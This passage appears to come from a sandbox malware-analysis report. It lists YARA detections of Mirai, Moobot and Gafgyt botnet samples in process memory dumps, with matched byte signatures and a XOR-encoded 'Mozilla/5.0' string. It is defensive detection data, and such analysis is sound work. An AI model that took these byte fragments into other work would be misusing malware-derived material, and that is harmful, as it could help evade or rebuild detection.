78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6991.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6642.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6642.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6626.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6912.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6912.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6912.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7417.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7417.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7417.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7417.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7417.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6983.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6983.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6983.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6523.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6642.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6642.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6642.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6349.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7286.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7317.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7317.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7317.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7317.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7317.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7317.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6404.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6389.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6737.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6737.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6737.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6737.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6737.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 